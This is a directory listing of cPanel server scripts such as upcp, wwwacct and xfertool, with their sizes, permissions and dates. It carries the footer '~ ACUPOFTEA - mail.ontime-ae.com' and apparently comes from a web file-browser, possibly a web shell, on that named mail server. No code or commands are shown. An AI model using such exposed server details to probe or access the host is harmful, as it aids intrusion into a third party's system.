unblockip
text/x-perl
667 B
-rwxr-xr-x
2024-03-04 05:44:29
uninstall_cpanel_analytics
text/x-perl
1.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
uninstall_dovecot_fts
text/x-perl
562 B
-rwxr-xr-x
2024-03-04 05:44:29
uninstall_plugin
text/x-perl
2.84 KB
-rwxr-xr-x
2024-03-04 05:44:29
unlink_service_account
text/x-perl
2.62 KB
-rwxr-xr-x
2024-03-04 05:44:29
unpkgacct
text/x-perl
4.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
unslavenamedconf
text/x-perl
863 B
-rwxr-xr-x
2024-03-04 05:44:29
unsuspendacct
text/x-perl
17.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
unsuspendmysqlusers
text/x-perl
7.1 KB
-rwxr-xr-x
2024-03-04 05:44:29
upcp
text/x-perl
31.97 KB
-rwxr-xr-x
2024-11-19 10:57:19
upcp-running
text/x-perl
2.7 KB
-rwxr-xr-x
2024-03-04 05:44:29
upcp.static
text/x-perl
721.63 KB
-rwxr-xr-x
2025-10-16 10:57:47
update-packages
text/x-perl
5.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_apachectl
text/x-perl
480 B
-rwxr-xr-x
2024-03-04 05:44:29
update_db_cache
text/x-perl
430 B
-rwxr-xr-x
2024-03-04 05:44:29
update_dkim_keys
text/x-perl
1.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_exim_rejects
text/x-perl
1.21 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_existing_mail_quotas_for_account
text/x-perl
4.78 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_feature_flags
text/x-perl
957 B
-rwxr-xr-x
2024-03-04 05:44:29
update_freebusy_data
text/x-perl
5.25 KB
-rwxr-xr-x
2025-06-09 10:57:17
update_known_proxy_ips
text/x-perl
1002 B
-rwxr-xr-x
2024-03-04 05:44:29
update_local_rpm_versions
text/x-perl
4.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_mailman_cache
text/x-perl
8.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_mysql_systemd_config
text/x-perl
1.07 KB
-rwxr-xr-x
2025-06-09 10:57:31
update_neighbor_netblocks
text/x-perl
487 B
-rwxr-xr-x
2024-03-04 05:44:29
update_sa_config
text/x-perl
2.14 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_spamassassin_config
text/x-perl
10.73 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_users_jail
text/x-perl
691 B
-rwxr-xr-x
2024-03-04 05:44:29
update_users_vhosts
text/x-perl
801 B
-rwxr-xr-x
2024-03-04 05:44:29
updatedomainips
text/x-perl
605 B
-rwxr-xr-x
2024-03-04 05:44:29
updatenameserverips
text/x-perl
1.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatenow
text/x-perl
5.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatenow.static
text/x-perl
2.02 MB
-rwxr-xr-x
2025-10-16 10:57:32
updatesigningkey
text/x-perl
1.95 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatessldomains
text/x-perl
1.81 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatesupportauthorizations
text/x-perl
2.49 KB
-rwxr-xr-x
2024-03-04 05:44:29
updateuserdatacache
text/x-perl
2.47 KB
-rwxr-xr-x
2024-03-04 05:44:29
updateuserdomains
text/x-perl
774 B
-rwxr-xr-x
2024-03-04 05:44:29
upgrade_bandwidth_dbs
text/x-perl
2.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
upgrade_subaccount_databases
text/x-perl
2.73 KB
-rwxr-xr-x
2024-03-04 05:44:29
userdata_wildcard_cleanup
text/x-perl
5.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
userdirctl
text/x-perl
5.01 KB
-rwxr-xr-x
2024-03-04 05:44:29
validate_sshkey_passphrase
text/x-perl
1.21 KB
-rwxr-xr-x
2024-03-04 05:44:29
verify_api_spec_files
text/x-perl
757 B
-rwxr-xr-x
2024-03-04 05:44:29
verify_pidfile
text/x-perl
1.96 KB
-rwxr-xr-x
2024-03-04 05:44:29
verify_vhost_includes
text/x-perl
7.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
vps_optimizer
text/x-perl
7.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
vzzo-fixer
text/x-perl
725 B
-rwxr-xr-x
2024-03-04 05:44:29
whmlogin
text/x-perl
2.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
whoowns
text/x-perl
1.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
wwwacct
27.78 MB
-rwx------
2025-10-16 10:57:28
wwwacct2
text/x-perl
88 B
-rwxr-xr-x
2024-03-04 05:44:29
xfer_rcube_schema_migrate.pl
text/x-perl
2.4 KB
-rwxr-xr-x
2024-03-04 05:44:29
xfer_rcube_uid_resolver.pl
text/x-perl
1.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
xferpoint
text/x-perl
3.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
xfertool
text/x-perl
16.23 KB
-rwxr-xr-x
2024-03-04 05:44:29
zoneexists
text/x-perl
800 B
-rwxr-xr-x
2024-03-04 05:44:29
~ ACUPOFTEA - mail.ontime-ae.com